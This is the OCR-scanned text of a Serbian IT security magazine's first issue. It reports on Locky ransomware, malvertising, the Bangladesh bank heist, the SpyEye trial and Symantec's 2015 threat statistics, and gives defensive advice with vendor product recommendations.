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Dragi ¢itaoci,

Pred vama se nalazi prvi broj ¢asopisa ,,IT klinika®
namenjen I'T menadZerima, IT security specijalistima
i svima koji brinu za zdravlje I'T sistema. Kroz ovaj ¢a-
sopis Zelimo da na zanimljiv na¢in prikaZzemo aktuelne
teme iz oblasti I'T bezbednosti i predstavimo proizvo-
de, ali i besplatne nacine koji mogu da vam pomognu
da unapredite vasu IT bezbednost. Izabrali smo naziv
»IT klinika“ jer je IT bezbednost klju¢na za zdravlje IT
sistema, a time i ¢itavog preduzeca s obzirom na mo-
deran nacin poslovanja.

Naga zamisao je da ,,IT klinika“ ne bude reklamna
publikacija, ve¢ da ponudimo interesantno i korisno
§tivo koje Cete voleti da citate. ,,IT klinika“ je neko-
mercijalan ¢asopis i neée se prodavati na kioscima. Zelimo da nam i vi pomognete u
uredivanju narednih izdanja tako §to ¢ete nam predlagati teme, upudivati nam kritike
ili pohvale i pisati o problemima sa kojima se vas$ I'T sistem susre¢e. Osim u §tampanom
obliku, nage tekstove ¢ete mo¢i da ¢itate i na Web-u, na www.it-klinika.rs.

Ovaj broj posvetili smo crypto ransomware-u, novoj popularnoj metodi kojom se
sluze sajber kriminalci, a koja je postala prava noéna mora velikog broja IT administrato-
ra i stru¢njaka za IT bezbednost. Crypto ransomware je ucenjivacki malver koji kriptuje
podatke svojih Zrtava i trazi otkupninu za njih, uz pretnju da ¢e podaci biti izbrisani
ukoliko Zrtva ne reaguje na vreme. Na Zalost, kako se radi o sajber kriminalcima, ni
placanje otkupnine nije siguran nacin da Zrtva vrati svoje fajlove. Bududi da za crypto
ransomware nema efikasnog leka, Zeleli smo da skrenemo paznju na nacine prevencije
Sirenja ove zaraze.  ANJA KIS
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LOCKER!

oslednjih nekoliko meseci crypto
P locker, ransomware, je hit tema u
Srbiji i regionu. Prvobitna verzija
pojavila se u martu 2015.g. i uglavnom se
$irila kroz igrice, pa su gejmeri bili i prve
Zrtve. ZaraZene su uglavnom bile igrice
koje su se preuzimale torentom. Crypto
Locker $ifruje fajlove, obri$e originalne
dokumente i trazi otkup - placanje (oda-
tle iizraz ransomware) za klju¢ kojim se
mogu desifrovati dokumenti/fajlovi. Zbog
ogranic¢enog nacina infekcije, nije bilo
mnogo zrtvi, ali je cyber podzemlje nasta-
vilo sa razvojem crypto locker-a i danas svi
vidimo rezultat...
Neko se dosetio da je najefikasni-
ji nacin inficiranja kroz e-mail i to kroz
najobi¢nije Word i Excel dokumente (uz
pomo¢ JavaScript-a). Masovno se $alju
e-mailovi koji lice na racune, zaduzenja,
vracena placanja i sl. u kojima se nalazi
Word ili Excel (po negde i sam JavaScript)
u koje su ves$to ubaceni makroi/skripto-
vi koji se izvr$avaju i preuzimaju crypto
locker, koji zapocinje svoj destruktivni
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na$la medu deset najugrozenijih zemalja,
sa 840 infekcija u samo jednom satu!

posao — unistenje vrednih dokumenata,
slika, mreznih foldera...

Zbog vestog nacina skrivanja, ove
nove makro/javascript viruse je vrlo
tesko detektovati klasi¢nim tehnika-
ma, tako da se de$ava da prolaze kroz
osnovne sisteme e-mail zastite, a onda je
samo pitanje kada ¢e neko od korisnika
kliknuti na invoice, account statement ili
slican dokument. Takode, sam ran-
somware se menja, a veliki broj varijanti
je moguce kupiti i na ,,crnom" trzistu
cyber kriminalaca.

KAKO IZGLEDA LOCKY?

Locky kriptuje fajlove na ra¢unarima Zrtava
i trazi otkupninu, obi¢no od 0,5 do 1 bitco-
in (oko 240 do 420 US dolara). Iako postoji
vi$e varijanti, najveci broj spam e-mail-ova
sadrzi naslov sli¢an ovom:

ATTN: Invoice J-[NASUMICNI
BROJEVI]

LOCKY RANSOMWARE
ZARAZIO SRBIJU

Jedna od varijanti ransomware-a, poznata
pod imenom Locky, otkrivena je sredinom
februara i brzo se §irila kroz spam e-mail ili
preko kompromitovanih sajtova. Srbija se

ATTN: Invoice J-59145506
Message W= invioice_)-58145506 . dot (50 KB)

Dear

Please see the attached invoice | Microsoft Word Docu)
listed at the bottom of the invoice.

Let us know if you have any questions.

We greatly appreciate your business!

E-mail obi¢no u prilogu ima Word
dokument sa malicioznim makroom.
Ako je omogucen makro, racunar ée se
zaraziti Locky ransomware-om.

Fajlove je moguce vratiti samo iz
bekapa, pod uslovom da vam i on nije
kriptovan.
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elika malvertising kampanja po-
v godila je nekoliko svetski pozna-

tih sajtova, uklju¢ujuéii Forbes.
com, Huffington Post i The Daily Mail.
Malvertising je pojava koja nastaje kada
cyber kriminalci naprave oglas koji izgleda
kao pravi, ali koji u stvari $iri malver tako
$to je mali deo koda duboko u skriptu
sakriven. Kada osoba klikne na njega,
njen kompjuter se povezuje na kriminalne
servere umesto na server oglasivaca i tako
se preuzima malver, a da Zrtva toga nije
ni svesna. Ova kampanja obavlja se pre-
ko platforme za oglasavanje koja ucitava
eksterne skripte pre nego $to preusmeri
saobracaj na Angler Exploit Kit. Odatle je
moguce radiriti TeslaCrypt, Cryptowall i
ostale ,,negativce®

Malvertising je metod napada koji belezi
rastu¢u popularnost zbog toga sto ga je re-
lativno jednostavno izvesti. Skora$nje istra-
Zivanje RiskIQ-a otkriva da se malvertising
povecao za 300% u 2015. u odnosu na 2014.
godinu. Naj¢e$¢i mamac koji se koristi u
malvertisingu je lazno azuriranje Flash-a.

Proslog meseca, nekoliko svetski
poznatih sajtova, ukljuc¢ujudii New York
Times, BBC, MSN i AOL postali su zrtve
$irenja malcioznih oglasa, a gotovo je izve-
sno da su napadi izvedeni koordinisano.

Otigledno je da cyber kriminalci ciljaju
sajtove sa velikim saobracajem kako bi
dosli do velikog broja klikova, a posetioci
su skloniji da veruju oglasima koji stoje na
renomiranim sajtovima.

Zahvaljujuc¢i Web kolaci¢ima, autori
malvera mogu da skroje maliciozni kod
koji precizno cilja odredenu grupu ljudi,
prema geografskom podruéju, kompaniji,
interesovanju ili skorasnjoj aktivnosti na
internetu.

Kompanije koje se bave oglasavanjem
¢esto ne proveravaju svoje oglagivace, §to
olaksava posao kriminalcima
da se maskiraju u
legitimne fir-
me i posalju
maliciozne

oglase koji ¢e

se pojaviti na
sajtovima koje
ciljaju.

VAN YA | Z OGLASA
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" DAILY NEWS

WARNING

TODAY! |

STA SE DESAVA KAD
KLIKNETE NA OGLAS?

Kada kliknete na maliciozni oglas (koji
izgleda kao legitiman oglas), on vas preu-
smerava na ciljnu stranu (landing page) na
kojoj se nalazi Angler Exploit Kit.

On sadrzi vise hakerskih alata i zero
day exploit-a koji omogucavaju hakerima
da otkriju ranjivosti vaseg sistema i da kroz
njih instaliraju trojance i ransomware. Ako
dode do instalacije, ransomware kriptuje
vase podatke i ostavlja otkupnu poruku u
kojoj zahteva isplatu u bitcoinima za ot-
klju¢avanje fajlova.

BANKE BEZ FIREWALL-A:
EVO KAKO SU HAKERI USPELI
Forenzicki istrazitelji iz Bangladesa koji su
istrazivali pljacku banke u vrednosti od 80
miliona dolara otkrili su da su hakeri upali
u mrezu zbog toga §to je banka koristi-
la polovne mrezne sviceve bez firewall-a,
koji kostaju $10. Kada je proslog meseca
prijavljeno da je nepoznata hakerska grupa
kori$¢enjem malvera pokusala da ukra-
de milijardu dolara sa bankovnog ra¢una
bangladeskih federalnih rezervi, i pri tom,
uspela da ukrade vise od 80 miliona, istra-
zitelji nisu Zeleli da otkriju kako su hakeri
premostili sigurnosna re$enja u mrezi ban-
ke. Istina je da nikakva sigurnosna resenja
za zastitu od sve sofisticiranijih napada
nisu bila primenjena.

Nedostatak sigurnosnih resenja bitno
je olaksao hakerima upad u sistem i kradu

81 miliona dolara, a samo je obi¢na greska
u kucanju koju su hakeri napravili spreci-
la transfer od jo$ 850 miliona! Ra¢unariu
mrezi koji su bili povezani preko polovnih
rutera bili su prikac¢eni na SWIFT (glo-
balnu mreZzu za transfer novca), $to to je
omogucilo hakerima pristup kredencija-
lima koji su potrebni za transfer velikih
iznosa direktno na svoje ra¢une. Forenzicki
istrazitelji rekli su da bi hakovanje bilo teze
izvodljivo da je postojao firewall. Firewall
sluzi kao odbrana od hakera i malvera.
Istrazitelj je dodao i to da im je kori$¢enje
jeftinih rutera otezalo (i za sada onemo-
gucilo) pronalazenje hakera koji stoje iza
najvece pljacke banke, kao i otkrivanje nji-
hovih taktika. Istrazitelji su okrivili i banku
i sistem SWIFT rekavsi da su morali da se
konsultuju oko zastite pre nego §to se plja¢-
ka dogodila. Hakeri su upali u mrezu ban-
ke i pokusali da ukradu milijardu dolara sa
rac¢una banke Federal Reserve u Njujorku
pocetkom februara i tom prilikom su pre-
bacili velike sume novca na lazne ra¢une u
Filipinama i Sri Lanki. Bangladeska policija
je identifikovala 20 stranaca koji su bili
povezani s pljackom, ali se ispostavilo da
su ti ljudi samo primili odredene sume tog
novca i da nisu hakeri koji su ukrali novac.

Istrazitelji se jo$ uvek pitaju kako da
identifikuju hakere kad nemaju dovoljno
tragova, a ovaj incident je dobra opomena
finansijskim institucijama $irom sveta da
podignu nivo sigurnosti svojih sistema.

Nadamo se da na$e banke imaju bolji
sistem zastite od bangladeskih. ..

IT KLINIKA
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SPYEYE
VIRUSA
OSUDENI
NA 24
GODINE
ZATVORA
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va internacionalna hakera,
D Aleksandar Andrejevi¢ Panin i

Hamza Bendelad, zajedno su
osudeni na 24 godine i 6 meseci zatvora
zbog toga $to su razvili i distribuirali
bankarskog trojanca SpyEye, mo¢nog
botnet-a koji je sli¢an zloglasnom mal-
veru Zevs. Obojica su optuzeni za kradu
stotina miliona dolara iz banaka Sirom
sveta. SpyEye, koji se smatra nasledni-
kom zloglasnog bankarskog malvera
Zevs, no¢na je mora finansijskih institu-
cija jo§ od 2009. godine.

Kada malver prodre u sistem, pove-
zuje se sa komandnim serverima koje
kontroli$u napadaci i krade podatke
liéne i finansijske prirode, kao $to su
podaci za e-banking i podaci sa kreditne
kartice. To rade koriste¢i keylogger-e i
Web injection.

27-godisnji ruski programer Panin,
poznat pod alijasima Gribodemon i Har-
derman, osuden je na devet godina i $est
meseci zatvora zbog toga §to je napravio
SpyEye, naslednika Zevs-a. On je 2010.
navodno primio izvorni kod i prava na
prodaju Zevs-a od Jevgenija Bogaceva
(alijas Slavik) i implementirao je brojne
njegove komponente u SpyEye. Bogacev

je jos uvek na slobodi i trenutno je naj-
trazeniji haker na spisku FBI-a.

Paninov saradnik Bendelad je
27-godisnji alzirski haker poznat pod
alijasima Bx1 i Happy Hacker. On je
hakovao 217 banaka i donirao vise od
280 miliona dolara palestinskim huma-
nitarnim organizacijama. Osuden je na
petnaest godina zatvora zbog reklamira-
nja malvera SpyEye po raznim forumima
na internetu. Gotovo 150 klijenata je
od njega kupilo verzije malvera SpyEye
po ceni od 1000 do 8500 dolara, a jedan
klijent sa alijasom Soldier je objavio da je
uz pomo¢ ovog malvera zaradio vise od
3,2 miliona dolara za samo Sest meseci.

Iz Ministarstva pravde opisali su
SpyEye kao ,,najuspesniji od svih ban-
karskih malvera/trojanaca® koji je uspeo
da zarazi viSe od 50 miliona ra¢unara
$irom sveta od 2010. do 2012. i izazove
vi$e od milijarde dolara gubitaka po-
jedincima i finansijskim institucijama
Sirom sveta.

Bendelad je uhap$en u Tajlandu ja-
nuara 2013. i izru¢en SAD-u iste godine,
dok je Panin priveden jula 2013. na me-
dunarodnom aerodromu u Atlanti.
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2015. U KRATKIM CRTAMA

vake godine Symantec objavljuje In-

ternet Security Threat Report, izve-

$taj koji sumira informacije vezane
za bezbednost, kao $to su trendovi napada,
aktivnosti malicioznog koda, fising, spam i
sli¢no. Ove informacije Symantec priku-
plja zahvaljujudi svojoj obavestajnoj mrezi
- Global Intelligence Network, koju ¢ini
vi$e od 63 miliona senzora koji registru-
ju hiljade napada u sekundi. Symantec je
otkrio vi$e od 430 miliona novih jedin-
stvenih malvera u 2015, 36% vie nego
prethodne godine.

Iz ovog sveobuhvatnog izvestaja,

koji mozete preuzeti na adresi https://
www.symantec.com/security-center/thre-
at-report, moze se izdvojiti $est klju¢nih
trendova.

SVAKE NEDELJE
OTKRIVENA JE PO JEDNA
ZERO-DAY RANJIVOST
Organizovane grupe sajber napadaca
nastavljaju da profitiraju od neotkrivenih
propusta u browser-ima i plug-in-ovima

Tokom 2015, broj otkrivenih zero-day
ranjivosti uvecao se vise od dva pu-

IT KLINIKA

ta, tacnije porastao za 125 procenata u
odnosu na prethodnu godinu. Drugim
re¢ima, svake nedelje otkrivena je u
proseku jedna zero-day ranjivost. lako
u 2014. nije doslo do veceg rasta u broju
ovih ranjivosti, u 2015. ipak nije doslo
do stagnacije kako se ocekivalo, ve¢ do
prave eksplozije.

Ranjivosti mogu da se pojave kod bi-
lo koje vrste softvera, ali je najée$¢a meta
softver koji je u najsiroj upotrebi. Najveci
broj ranjivosti se otkriva za Internet
Explorer i Adobe Flash, koje svakodnev-
no koristi veliki broj ljudi. Cak &etiri od
pet najvise eksploatisanih ranjivosti bile
su za Adobe Flash. Hakeri stalno traze
ranjivosti popularnih programa i ¢im ih
otkriju, brzo ih iskoriste kako bi infici-
rali §to veci broj ra¢unara pre nego $to
proizvodac azurira softver, odnosno pre
nego $to se pojavi bezbednosna zakrpa
za tu ranjivost. Obi¢no uspeju da zaraze
stotine ra¢unara pre nego §to se objavi
zakrpa. Naravno, i nakon objave zakrpe
moc¢i ¢e da zaraze one ra¢unare koji nisu
azurirani na vreme.

VlsE OD POLA MILIJARDE
LICNIH PODATAKA

JE UKRADENO ILI
IZGUBLJENO U 2015.

Veliki broj kompanija ne prijavljuje curenje
podataka

Pri kraju 2015. bili smo svedoci najvecéeg
curenja podataka koje javno prijavljeno.

Neverovatnih 191 milion poverljivih doku-

menata je iscurelo. Ovo je bio najve¢i pri-

javljeni incident, ali ne i jedini - prijavljeno

je devet velikih incidenata sa vise od deset
miliona dokumenata.

Ukupan broj ugrozenih li¢nih doku-
menata, a time i identiteta, popeo se na
429 miliona. Medutim, taj broj je samo
vrh ledenog brega, jer je veci broj onih

Incidents
that did not
fia identities

kompanija koje nisu Zelele da prijave ova-
kve incidente ili ta¢an broj dokumenata
koji su iscureli. Symantec procenjuje da je
realna cifra izgubljenih dokumenata vise
od pola milijarde.

VELIKE BEZBEDNOSNE
RANJIVOSTI U TRI TRECINE
POPULARNIH SAJTOVA

SVE NAS IZLAZU RIZIKU

Web administratori i dalje imaju teskoce sa
bezbednosnim aZuriranjima




Over Half a Billion Personal
Information Records Stolen

or Lostin 2015

1 20 incidents

of all breaches in the year.

This comes as no surprise, given

the strict rules within the healthcare
industry regarding reporting of data
breaches.

The largest number of breaches took
\ 36"

place within the Health Services
sub-sector, which actually comprised
of breaches
included medical

0
39 percent ‘ 3 9 %0
records

o Identities
Million Exposed

Most of an iceberg is submerged underwater, hiding a great ice mass.
The number of reported identities exposed in data breaches are just

the tip of the iceberg. What remains hidden?
— REPORTED IDENTITIES EXPOSED

22 million

personal records
were exposed at
Office of Personnel
Management

78 million

patient records
were exposed
at Anthem

TV st

e 5 Lkl |||. |_um

Despite companies’ choice

not to report the true number of 8
records exposed, hundreds of millions more @
may have been compromised.

@rSymantecw

2015 Stats

Total Reported
Identities Exposed

numbers in millions

348 -

552

v

These numbers are
likely higher, as
many companies are
choosing not to
reveal the full extent
of their data
breaches.

2014

Incidents

that did not
report identities
exposed in 2015

Given the facts,
itis possible that

500 wier

identities were
exposed

*estimated
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Zabelezeno je vise od milion Web na-
pada svakog dana u toku 2015. Mnogi
ljudi veruju da ¢e biti bezbedni od cyber
kriminala ako se drze samo legitimnih,
proverenih sajtova. Medutim, mnogo ljudi
je u zabludi. Cyber kriminalci iskori§¢avaju
ranjivosti legitimnih Web sajtova da preko
njih inficiraju posetioce, jer administratori
ne uspevaju da zastite sajtove. Vise od 75%
legitimnih sajtova ima nesanirane ranji-
vosti. 15% legitimnih sajtova ima kriti¢ne
ranjivosti, $to znaci da ne zahtevaju od
napada¢a mnogo truda da iskoriste sajt za
svoje maliciozne namene. Web adminis-
tratori moraju da se pozabave pitanjem
bezbednosti ozbiljnije i da se agresivnije
suprotstave napada¢ima

SPEAR-PHISHING
KAMPANJE KOJE CILJAJU
ZAPOSLENE PORASLE SU
ZA 55 PROCENATA U 2015.
Cyber napadaci ne odustaju nakon jednog
napada

Tokom 2015, vladine ili finansijske orga-
nizacije koje su jednom napadnute, bile su
napadnute bar jo§ tri puta. Velike kompa-
nije koje su se nasle na meti napadaca, u
proseku su bile uspe$no napadnute svaka
po 3,6 puta.

U poslednjih pet godina, mozemo da
primetimo rast broja napada na preduzeca
sa manje od 250 zaposlenih, odnosno 43%
napada bilo je usmereno na male firme, $to
potvrduje da su firme svih veli¢ina ugroze-
ne. Ne radi se dakle samo o velikim, uspe-
$nim firmama, ve¢ i o lokalnim radnjama
sa par ra¢unara.

IT KLINIKA

Primer: Lokalna firma od 35 zaposle-
nih bila je Zrtva cyber napada konku-
rencije. Konkurent je dve godine imao
pristup njihovoj mreZi i krao podatke o
kupcima i cenama, ¢ime je sticao pred-
nost na trzistu.

Sve firme su potencijalne zrtve cilja-
nih napada. Broj spear-phishing napa-
da, odnosno phishing kampanja koje
su krojene za jednu ili nekoliko osoba
zaposlenih u preduze¢u (zbog ¢ega su
uverljivije i teZe se otkrivaju), povecao
se za 55% u 2015.

RANSOMWARE SE UVECAO
ZA 35 PROCENATA

Cyber kriminalci koriste enkripciju

kao oruzje protiv kompanija

i pojedinaca

Ransomware nastavlja da evoluira. Pro-
$le godine smo mogli da vidimo kako
Crypto-ransomware koji zakljucava fajlo-
ve izbacuje iz igre benigniju verziju koja
samo zakljuc¢ava ekran rac¢unara. Broj
Crypto ransomwarea je porastao za 35
procenata u 2015. Ovaj vid napada je izu-
zetno profitabilan za kriminalce, zbog ¢e-
ga se o¢ekuje da e i dalje beleziti rast i da
¢e novi oblici mo¢i da zaraze sve uredaje
koji se nalaze na istoj mreZi. Ransomware
1 2015. nije pogadao samo personalne
rac¢unare, nego i pametne telefone, pa ¢ak
i Mac i Linux sisteme.

SYMANTEC JE

BLOKIRAO 100 MILIONA
PREVARA SA LAZNOM
TEHNICKOM PODRSKOM

Cyber prevaranti navode vas da ih pozovete
i predate im novac

Dok ransomware nastavlja da raste, on
nije jedina pretnja sa kojom se susrece-
mo. Kako ljudi sve vi$e poslova obav-
ljaju online, napadaci nalaze nacine

da namame Zrtve. Prevare sa laznom
tehni¢kom podrskom prvi put su otkri-
vene 2010, ali su od tad evoluirale od
cold calling telefonskih poziva nepo-
znatih ljudi, do toga da navedu Zrtve da
pozovu njih misleé¢i da zovu tehni¢ku
podrsku.

Napadaci koriste lazna pop-up upo-
zorenja koja Zrtvi govore da je do$lo do
ozbiljne greske i da treba da pozovu neki
broj telefona (obi¢no pocine sa 800), gde
lazni predstavnik tehnicke podrske po-
kugava da proda Zrtvi neku vrstu usluga,
koje su uzgred nepotrebne i bezvredne.
Tokom 2015. Symantec je blokirao sto mi-
liona ovakvih napada.



Attackers Target
Both Largeand
Small Businesses 4

Like thrown paint on a blank
canvas, attacks against
businesses, both large and small,
appear indiscriminate.

If there is profit to be made,
attackers strike at will.

The last five years have shown a
steady increase in attacks targeting
businesses with less than 250 employees.

Number of Employees

"~ M Large Enterprises 2,500+

B Small Businesses (SMBs) 1 to 250

2015

)

v

o

L

Cyber attackers are playing the long game against 20 1 5
large companies, but all businesses of all sizes are ’
vulnerable to targeted attacks. In fact, the number of . ) L,
spear-phishing campaigns targeting employees Attacks - o %
increased 55% in 2015. per Org
~ .
2013 2014 {
Risk Ratio
/79 841
+91% +8%
Riskratio [y 2.7 1in 40.5

v Symantec.
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KAKO SPRECITI
INFEKCIJU
RANSOMWARE-OM

lju¢no pitanje poslednjih ne-
K koliko meseci je kako spreciti
infekciju ransomware-om i sta
¢initi kada je ve¢ kasno - kada je racu-
nar zarazen?

jeste da ne otvarate
priloge e-mail poruka od nepoznatih lju-
di. Narocito je vazno da ni drugi ljudi iz
vaseg okruzenja to ne ¢ine, zato ih upo-
zorite pre nego $to bude kasno.

- napravite bekap
podataka. Ako nemate, pobrinite se za
bekap podataka i sa radnih stanica (ser-
vere ve¢ bekapujete, redovno, zar ne?)!

je da poboljsate zasti-
tu e-mail saobracaja ili ako je ve¢ nemate
- uvedete je!

je videslojna an-
tivirusna zastita na ra¢unarima! Mozda
klasi¢ne definicije virusa ne mogu da
»uhvate® sve varijante crypto ransomwa-
rea, ali neka druga komponenta zastite
hoce.

Odrzavajte sistem zastite i pratite $ta
se de$ava. Pripremite plan §ta treba uci-
niti i ko ¢e to raditi u slucaju incidenta.
Testirajte plan.

Ko zeli da ode korak dalje - ili je ve¢
oti$ao — tu su firewall sistemi slede-
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¢e generacije, NGFW, koji uglavnom
»hvataju® ovakve pretnje. Takode, tu
su i Advanced Threat Protection rese-
nja i izvr$§avanje potencijalnog malvera
sandboxu-u, koja su jednako uspes$na u
otkrivanju ovakvih pretnji.

Od pomodi je i sprecavanje izvrsava-
nja JavaScript-ova, mada se time dosta
gubi na izgledu i funkcionalnosti dobrog
dela danasnjih Web prezentacija. Word i

Excel makroe takode moZete da blokirate.

Na kraju, $ta ako je neki racunar ve¢
zaraZzen? Odmabh ga ,,skinite” sa mreZe.
Iskljucite ga. Potrazite bekap podata-
ka - to je zapravo jedini pravi spas. Ako
nemate bekap, mozete da probate alate
za desifrovanje koji se mogu naci na
Internetu - ali ne o¢ekujte ¢uda. Ako
imate uklju¢eno ¢uvanje kopija verzija
fajlova u Windows-u, mozda ima nade
da vratite prethodne verzije fajlova. Ta-
kode, ako nije mnogo fajlova ifrovatno,
mozete da pokusate sa undelete alatima,
za vracanje obrisanih fajlova - ponovo,
sa malom verovatno¢om uspeha.

Vazno je napomenuti: nemojte pla-
¢ati otkup — ucenu! Time samo pomaze-
te njihov dalji razvoj i mogu¢nost da se
ponovo nadete u sli¢noj neprilici.

orast broja novih malvera povecao
je vidljivost i znacaj IT bezbednosti.

Na zalost, vec¢ina preduzeca stavlja

akcenat na antivirusnu zastitu i tu se za-
ustavlja, $to nije ni iz daleka dovoljno za
poboljsanje IT bezbednosti. Evo osnovnih
deset koraka koje svako preduzece treba da
preduzme kako bi poboljsalo bezbednost
svojih sistema i podataka:

© OBUCITE ZAPOSLENE O OSNOVA-

MA IT BEZBEDNOSTI: Mozda najva-
zniji korak, a ¢ini mi se da mu se obraca
najmanje paznje, jeste obuka zaposlenih,
korisnika o bezbednosti IT sistema,
socijalnom inzenjeringu, phishing-u,
nacinima inficiranja malverom, prepo-
znavanju laznih sajtova i e-mail poruka,
pravilnom otvaranju priloga e-mail po-
ruka, maskiranju ekstenzija fajlova i dr.
Obuka korisnika je od klju¢ne vaznosti
za bezbednost IT sistema — pri cemu
obuku moze da organizuje i drugo pre-
duzece - va$ partner od poverenja, koji
moZe testovima i da izmeri i proceni
stepen svesti o I'T bezbednosti u predu-
zecu, kao i korake za poboljsanje.

(1] OBEZBEDITE STO BOLJE ANTI-

MALVER RESENJE: Uvedite antivirus
koji nudi vide slojeva zastite (pored
klasi¢ne, zasnovane na definicijama
virusa), heuristiku i reputaciju, cen-
tralizovano upravljanje i izvestavanje,
lako azuriranje definicija virusa i dobar
mehanizam za oporavak od malvera.
Primer: Symantec Endpoint Protection.

(2] PATCH MANAGEMENT - UPRAV-

LJANJE AZURIRANJEM APLIKACI-
JA | OPERATIVNIH SISTEMA: Deo
preduzeca azurira operativne sisteme
radnih stanica i servera, ali mnogi ne
azuriraju aplikacije, §to je neophodno
za zaustavljanje malvera. Posebnu pa-
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znju treba obratiti na Javu, PDF ¢itace,
Flash, Web browser-e i Microsoft Office
aplikacije. Potrebno je skratiti vreme
azuriranja na najkrac¢e moguce. Shavlik
nudi odli¢na re$enja za aZuriranje/
patch aplikacija i OS-a. (Napomena:
izbacite Windows XP i Windows 2003,
§to pre.)

9 OGRANICITE PRIVILEGIJE ADMI-
NISTRATORIMA | ZA OPERATIVNE
SISTEME | ZA APLIKACIJE: Adminis-
tratori treba da koriste nalog sa ograni-
¢enim pravima za svakodnevni rad sa
office aplikacijama, za Web surfovanje i
e-mail. Privilegovani nalozi treba da se
koriste samo po potrebi i sa najmanjim
mogudéim pravima. Iskljucite (disable)
lokalne administratore ako je to mogu-
¢e, kako bi spre¢ili da neki kompromi-
tovani nalog lokalnog administratora
napravi problem i na mrezi, tj. drugim
rac¢unarima koji naj¢e$¢e imaju istu $i-
fru.

O OGRANIEITE KORISCENJE KORI-
SNICKIH APLIKACIJA/APPLICA-
TION WHITELISTING: Java aplika-
cije iz Web browser-a, Microsoft Office
makroi, skripte i sl. treba da budu pod
kontrolom - po moguéstvu, onemo-
gucene. Pozeljno je uvesti i spiskove
dozvoljenih aplikacija — application
whitelisting (zahteva dosta truda i rada,
ali se naknadno isplati). Bolja endpoint
protection resenja, kao §to je Symantec
Endpoint Protection, nude alate koji po-
mazu u ovom poslu.

© urADITE SEGMENTACIJU LOKAL-
NE MREZE | UVEDITE FIREWALL
SLEDECE GENERACIJE: Podelite
mreZu na razli¢ite zone sigurnosti i
segmente kako bi lak$e zastitili kriti¢ne
resurse i servere/aplikacije. Zamenite

Kklasic¢an firewall firewall-om sledece
generacije. Obratite paznju na IPv6
koji je negde automatski konfigurisan
i ,prode” ispod radara ili se ne nala-

zi pravilima za zabranu pristupa. Palo

Alto Networks NGFW (Next Generation

Firewall) nudi odli¢na re$enja na ovom
polju, posebno VM-ove za podelu i za-
$titu zona u virtualizovanoj infrastruk-
turi, pored klasi¢nih firewall uredaja za
zagtitu Internet saobracaja.

6 ZASTITITE E-MAIL | WEB SAO-
BRACAJ: Uvedite e-mail filtriranje,
antispam i antivirus, kao i osnovno
filtriranje sadrzaja. Resenje treba da
omogucava upravljate pravilima $ta i
kako moze da se $alje i prima ema-
ilom. Takode, uvedite Web filtriranje
i kori$¢enje URL lista/kategorija za
ogranicavanje pristupa Web lokaci-
jama. Web whitelisting se pokazao
izuzetno efikasnim (ali zahteva vise
truda i rada). Symantec Messaging
Gateway, Barracuda Email Security i
Barracuda Web Filter su dobra re§enja
u ovoj oblasti. Ovo vazii za korisni-
ke cloud e-mail servera, kako Office
365, tako i reSenja koja nude lokalni
ISP-ovi za e-mail.

0 DINAMICKA ANALIZA POTEN-
CIJALNIH MALVERA IZVRSA-
VANJEM U SANDBOX-U: za veca
preduzeca i ona koja imaju potrebe
i mogucnosti, treba uvesti dinamic-
ku analizu aplikacija, e-mail poruka
i mreznog saobracaja izvr§avanjem u
tzv. sandbox-u koji ¢e ,,detonirati“ (po-
krenuti) potencijalni malver, analizira-
ti dejstvo i kreirati korake za sprecava-
nje Sirenja i izvr§avanja. Symantec ATP
(Advanced Threat Protection) ili Palo
Alto Networks WildFire nude dobra
re§enja u ovom domenu.

9 UVEDITE SIEM (SECURITY
INFORMATION AND EVENT
MANAGEMENT) ILI BAREM LOG
MANAGEMNET: Prikupljanje, centra-
lizovanje i analiza logova omogucava
da se nakon incidenta utvrdi $ta se
zapravo desilo, odakle je sve pocelo i
kojeg je obima incident. SIEM takode
moze da kreira pravovremena upozo-
renja koja su obi¢no prvi signal da ne-
$to nije uobic¢ajeno ili u redu. Manage-
Engine EventLog Analyzer predstavlja
povoljno i dobro SIEM resenje.

9 KRIPTUJTE - SIFRIRAJTE POVER-
LJIVE PODATKE/SISTEME: Lap-
topovi, folderi sa poverljivim podacima,
SharePoint portali, USB diskovi koji se
koriste za prenos poverljivih podatkaa
treba da koriste $ifriranje/kriptovanje.
Symantec Encryption reSenja pruzaju
odli¢nu zastitu u ovom domenu.

@ UVEDITE VISEFAKTORNU AUTEN-
TIFIKACIJU: Za korisnike koji rukuju
poverljivim, osetljivim podacima,
uvedite vi§efaktornu autentifikaciju:
tokeni, smart karice, usb kljucevi, bi-
ometrija. Posebno vazna kod udaljenog
pristupa ili pri pristupanju poverljivim
podacima.

Spisak koraka ka boljoj IT bezbednosti
se ovim ne zavrsava, ali verujemo da ovih
deset koraka (zapravo jedanaest) predstav-
lja sustinu u naporu za bolju bezbednost.

IT KLINIKA | 13
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ZASTITITE RACUNAR
OD MALVERA NA BAZI
MAKROA U DVA KORAKA

ali svakodnevno koristite MS
D Word dokumenta? Ako je odgo-

vor pozitivan, sledeée pitanje je
da li ste svesni da otvaranje najobi¢nijeg
dokumenta moze ugroziti vas sistem?
Stvar je u tome §to virus ne pogada vas
direktno, ali na ovaj na¢in vi ste mu
dozvolili napad tako $to ste dopustili
smrtonosnom ,,Macro-u“ uvid u sadrzaj
poverljivih dokumenata poput bankar-
skih faktura.

NA KOJI NACIN MAKROI
SLABE VAS SISTEM?

Koncept makroa datira jo§ iz 1990-ih.
Sigurno vam je poznata ova poruka

- “Upozorenje: Ovaj dokument sadrzi
makroe.

Makro je serija komandi i akcija koja
pomaze da se odredeni zadaci automa-
tizuju. Programi Microsoft Office-a po-
drzavaju makroe napisane u Visual Basic
for Applications (VBA), ali oni se mogu
koristiti i za zZlonamerne aktivnosti kao
§to je instaliranje malvera.

Hakeri mudro koriste ove tehnike sla-
njem malicioznih makroa preko .doc faj-
lova ili radnih tabela, tako $to u zaglavlje
e-poste koje $alju korporativnim mreza-
ma stavljaju tekst koji privlaci paznju pri-
maoca. Kada primalac otvori zlonamerni
Word dokument, .doc fajl se preuzima u
njegov sistem. Medutim, opasnost nas-
tupa kada korisnik otvori fajl i kada se
pojavi prozor u kojem pise ,Omoguditi
uredivanje® (eng. Enable Editing) kako bi
videli sadrzaj.

Kada korisnik klikne na ,,Omoguéiti
uredivanje, zZlonamerni dokument poci-
nje sa zloglasnim aktivnostima u sistemu,
npr. zakaci se za druge .doc fajlove kako
bi povecao ja¢inu napada koja rezultira u
slabljenju vageg sistema. Ove aktivnosti
zavise od payload programa definisanih u
makrou.
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KAKO DA SE ZASTITITE
OD VIRUSA KOJI U SVOJOJ
OSNOVI KORISTE MAKRO?

